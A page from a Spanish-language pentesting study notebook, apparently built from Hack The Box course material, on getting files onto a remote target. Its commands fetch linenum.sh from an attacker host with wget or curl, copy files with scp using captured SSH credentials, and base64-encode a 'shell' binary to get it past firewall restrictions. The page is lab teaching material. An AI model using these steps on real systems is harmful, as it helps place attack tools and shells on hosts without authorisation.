beafn28
  • 👩‍💻¡Bienvenidos a mi HackBook!
  • WRITEUPS
    • DockerLabs
      • BuscaLove
      • Amor
      • Injection
      • BorazuwarahCTF
      • Trust
      • Picadilly
      • Pinguinazo
      • AguaDeMayo
      • BreakMySSH
      • NodeClimb
      • Move
      • Los 40 ladrones
      • Vulnvault
      • Pntopntobarra
      • Library
      • Escolares
      • ConsoleLog
      • Vacaciones
      • Obsession
      • FirstHacking
      • SecretJenkins
      • HedgeHog
      • AnonymousPingu
      • ChocolateLovers
      • Dockerlabs
      • Pressenter
      • Candy
      • JenkHack
      • ShowTime
      • Upload
      • Verdejo
      • WalkingCMS
      • WhereIsMyWebShell
      • Whoiam
      • Winterfell
      • -Pn
      • Psycho
      • Mirame
      • Backend
      • Paradise
      • Balurero
      • Allien
      • Vendetta
      • FindYourStyle
      • Stellarjwt
      • File
      • Redirection (Por completar)
      • Extraviado
      • Patriaquerida
      • Tproot
      • Internship
      • Walking Dead
      • Bicho (Por completar)
      • BaluFood
    • TryHackMe
      • Brooklyn Nine Nine
      • Blue
    • HackTheBox
      • Nibbles
      • Starting Point
        • Meow
        • Fawn
        • Dancing
        • Redeemer
        • Appointment
        • Sequel
        • Crocodile
        • Responder
        • Three
        • Archetype
        • Oopsie
        • Vaccine
        • Unified
        • Explosion
        • Preignition
        • Mongod
        • Synced
        • Ignition
        • Bike
        • Funnel
        • Pennyworth
        • Tactics
        • Included
        • Markup
        • Base
      • BoardLight
      • Cap
      • TwoMillion
      • Lame
      • Legacy
      • Devel
      • Beep
      • Optimum
      • Arctic
      • Jerry
      • Sau
      • GoodGames
      • Challenges
        • Emdee five for life
        • MarketDump
      • Intro to Dante
      • Heist
      • OpenAdmin
      • Nest
      • Curling
    • Vulnhub
      • Wakanda
      • Election (Por terminar)
    • The Hacker Labs
      • Avengers
      • Can you hack me?
      • Fruits
      • Microchoft
      • TickTakRoot
      • Grillo
      • Mortadela
      • Zapas Guapas
      • Sal y Azúcar
      • Cyberpunk
      • Papafrita
      • PizzaHot
      • Decryptor
      • Academy
      • Cocido andaluz
      • Find Me
      • Quokka
      • Campana Feliz
      • Bocata de Calamares
      • Casa Paco
      • Torrijas
    • Vulnyx
      • Fuser
      • Blogguer
      • Lower
      • Exec
      • Diff3r3ntS3c
      • Hacking Station
      • Experience
      • Eternal
      • Agent
      • Infected
      • Admin
      • War
      • Hosting
    • OverTheWire
      • Natas
        • Nivel 0-5
        • Nivel 6-11
        • Nivel 12-17
        • Nivel 18-23
        • Nivel 24-29
        • Nivel 30-34
      • Leviathan
        • Nivel 0-7
      • Krypton
      • Bandit
        • Nivel 0-10
        • Nivel 11-20
        • Nivel 21-30
        • Nivel 31-34
    • Proving Ground Play
      • Monitoring
      • DriftingBlues6
  • APUNTES HACKING
    • Pentesting Basics
      • Web Enumeration
      • Public Exploits
      • Types of Shells
      • Privilege Escalation
      • Transfering Files
    • Network Enumeration with NMAP
      • Host Discovery
      • Host and Port Scanning
      • Saving the Results
      • Service Enumeration
      • Nmap Scripting Engine
      • Performance
      • Firewall and IDS/IPS Evasion
    • Footprinting
      • Domain Information
      • Cloud Resources
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP/POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Information Gathering - Web Edition
      • WHOIS
      • DNS
        • Digging DNS
      • Subdomains
        • Subdomain Bruteforcing
        • DNS Zone Transfers
        • Virtual Hosts
        • Certificate Transparency Logs
      • Fingerprinting
      • Crawling
        • robots.txt
        • Well-Known URIs
        • Creepy Crawlies
      • Search Engine Discovery
      • Web Archives
      • Automating Recon
    • Vulnerability Assessment
      • Vulnerability Assessment
      • Assessment Standards
      • Common Vulnerability Scoring System (CVSS)
      • Common Vulnerabilities and Exposures (CVE)
    • Nessus
      • Getting Started with Nessus
      • Nessus Scan
      • Advanced Settings
      • Working with Nessus Scan Output
      • Scanning Issues
    • OpenVAS
      • OpenVAS Scan
      • Exporting The Results
    • Reporting
    • File Transfers
      • Windows File Transfer Methods
      • Linux File Transfer Methods
      • Transferring Files with Code
      • Miscellaneous File Transfer Methods
      • Protected File Transfers
      • Catching Files over HTTP/S
      • Living off The Land
      • Detection
      • Evading Detection
    • Shells & Payloads
      • Anatomy of a Shell
      • Bind Shells
      • Reverse Shells
      • Payloads
        • Automating Payloads & Delivery with Metasploit
        • Crafting Payloads with MSFvenom
        • Infiltrating Windows
        • Infiltrating Unix/Linux
        • Spawning Interactive Shells
      • Introduction to Web Shells
        • Laudanum, One Webshell to Rule Them All
        • Antak Webshell
        • PHP Web Shells
      • Detection & Prevention
    • Metasploit
      • MSFConsole
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Databases
      • Plugins
      • Sessions
      • Meterpreter
      • Writing and Importing Modules
      • Introduction to MSFVenom
      • Firewall and IDS/IPS Evasion
    • Password Attacks
      • John The Ripper
      • Network Services
      • Password Mutations
      • Password Reuse / Default Passwords
      • Attacking SAM
      • Attacking LSASS
      • Attacking Active Directory & NTDS.dit
      • Credential Hunting in Windows
      • Credential Hunting in Linux
      • Passwd, Shadow & Opasswd
      • Pass the Hash (PtH)
  • WEB SECURITY
    • Path Traversal
    • SQL Injection
    • Control de Acceso
  • Mis CTFs
    • Pequeñas Mentirosas
    • CryptoLabyrinth
    • Elevator
    • Facultad
  • PREPARAR EJPTv2
    • Máquinas
    • Curso de Mario
      • Presentación + Preparación de Laboratorios
      • Conceptos Básicos de Hacking
      • Explotación de Vulnerabilidades y Ataques de Fuerza Bruta
      • Explotación vulnerabilidades Web
      • Enumeración y Explotación del Protócolo SMB, SAMBA, SNMP, IIS y RDP
      • Hacking Entornos CMS
      • Escalada de Privilegios + Post Explotación
      • Pivoting con Metasploit
  • Preparar OSCP
    • Información
    • Máquinas
      • Linux
        • Fácil
        • Medio
        • Difícil
      • Windows
        • Fácil
        • Medio
        • Difícil
Powered by GitBook
On this page
  • Transferencia de Archivos Usando wget y cURL
  • Transferencia de Archivos con SCP
  • Transferencia de Archivos con Base64
  • Validando la Transferencia de Archivos

Was this helpful?

  1. APUNTES HACKING
  2. Pentesting Basics

Transfering Files

Transferencia de Archivos Usando wget y cURL

Existen múltiples métodos para transferir archivos entre tu máquina local y un servidor remoto. Uno de los métodos más comunes implica ejecutar un servidor HTTP en Python en tu máquina local y luego utilizar herramientas como wget o cURL para descargar el archivo desde el host remoto. A continuación, se detalla cómo realizar este proceso.

Paso 1: Configurar un Servidor HTTP en Python

Primero, navega al directorio que contiene el archivo que deseas transferir y ejecuta un servidor HTTP utilizando Python:

# Navegar al directorio /tmp
sherlock28@htb[/htb]$ cd /tmp

# Iniciar un servidor HTTP en el puerto 8000
sherlock28@htb[/htb]$ python3 -m http.server 8000

Esto iniciará un servidor HTTP que escucha en todas las interfaces de red (0.0.0.0) en el puerto 8000.

Paso 2: Descargar el Archivo en el Host Remoto Usando wget

Una vez que el servidor HTTP está en funcionamiento en tu máquina local, puedes descargar el archivo en el host remoto utilizando wget:

# En el host remoto, descargar el archivo linenum.sh desde tu máquina local
user@remotehost$ wget http://10.10.14.1:8000/linenum.sh

Notas Importantes:

  • IP y Puerto: Asegúrate de reemplazar 10.10.14.1 con la dirección IP de tu máquina local y verificar que el puerto 8000 esté abierto y no bloqueado por un firewall.

  • Archivo: En este ejemplo, el archivo que se transfiere es linenum.sh.

Paso 3: Descargar el Archivo Usando cURL (Si wget No Está Disponible)

Si el host remoto no tiene wget instalado, puedes utilizar cURL para realizar la descarga:

# En el host remoto, descargar el archivo linenum.sh usando cURL
user@remotehost$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh

Explicación de la Comando:

  • curl: Herramienta de línea de comandos para transferir datos con sintaxis de URL.

  • http://10.10.14.1:8000/linenum.sh: URL desde donde se descarga el archivo.

  • -o linenum.sh: Especifica el nombre del archivo de salida.

Transferencia de Archivos con SCP

Otra opción para transferir archivos es utilizar scp, siempre que tengamos credenciales de acceso SSH en el host remoto. El proceso se realiza de la siguiente manera:

Transferir el archivo con scp

Si ya hemos obtenido las credenciales SSH del usuario en el host remoto, podemos transferir archivos usando el siguiente comando:

scp linenum.sh user@remotehost:/tmp/linenum.sh

Al ejecutar este comando, se solicitará la contraseña del usuario en el host remoto:

user@remotehost's password: *********

El archivo linenum.sh se transferirá al directorio /tmp/ del host remoto.

Nota: Especificamos el nombre del archivo local después del comando scp, seguido de la ubicación en el host remoto donde se guardará, después de :.

Transferencia de Archivos con Base64

En algunos casos, no podremos transferir archivos directamente, como cuando el host remoto tiene protecciones de firewall que impiden descargar archivos desde nuestra máquina. En situaciones como esta, podemos utilizar un truco simple: codificar el archivo en formato Base64, luego copiar la cadena codificada al servidor remoto y decodificarla allí. Aquí te muestro cómo hacerlo.

  1. Codificar el archivo en Base64

    Supongamos que queremos transferir un archivo binario llamado shell. Primero, lo codificamos en Base64 con el siguiente comando:

    base64 shell -w 0

    Esto generará una cadena Base64 larga similar a esta:

    f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU
  2. Decodificar el archivo en el host remoto

    Ahora, copiamos la cadena Base64 generada y la pegamos en el host remoto. Luego, utilizamos el siguiente comando para decodificarla y guardar el archivo:

    echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell

    Este comando decodificará la cadena Base64 y generará el archivo shell en el host remoto.

Validando la Transferencia de Archivos

Para asegurarnos de que un archivo se haya transferido correctamente, podemos utilizar el comando file para verificar su formato:

user@remotehost$ file shell

Este comando nos devolverá información sobre el tipo de archivo. Por ejemplo:

shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

Como podemos ver, al ejecutar el comando file sobre el archivo shell, se indica que es un binario ELF, lo que significa que la transferencia fue exitosa.

Verificación con MD5

Para asegurarnos de que el archivo no se corrompió durante el proceso de codificación y decodificación, podemos comparar su hash MD5. Primero, calculamos el hash MD5 en nuestra máquina local:

sherlock28@htb[/htb]$ md5sum shell

Esto generará una salida similar a esta:

321de1d7e7c3735838890a72c9ae7d1d shell

Luego, en el servidor remoto, ejecutamos el mismo comando sobre el archivo transferido:

user@remotehost$ md5sum shell

Deberíamos obtener el mismo hash MD5:

321de1d7e7c3735838890a72c9ae7d1d shell

Si ambos hashes coinciden, significa que el archivo se transfirió correctamente sin alteraciones.

PreviousPrivilege EscalationNextNetwork Enumeration with NMAP

Last updated 8 months ago

Was this helpful?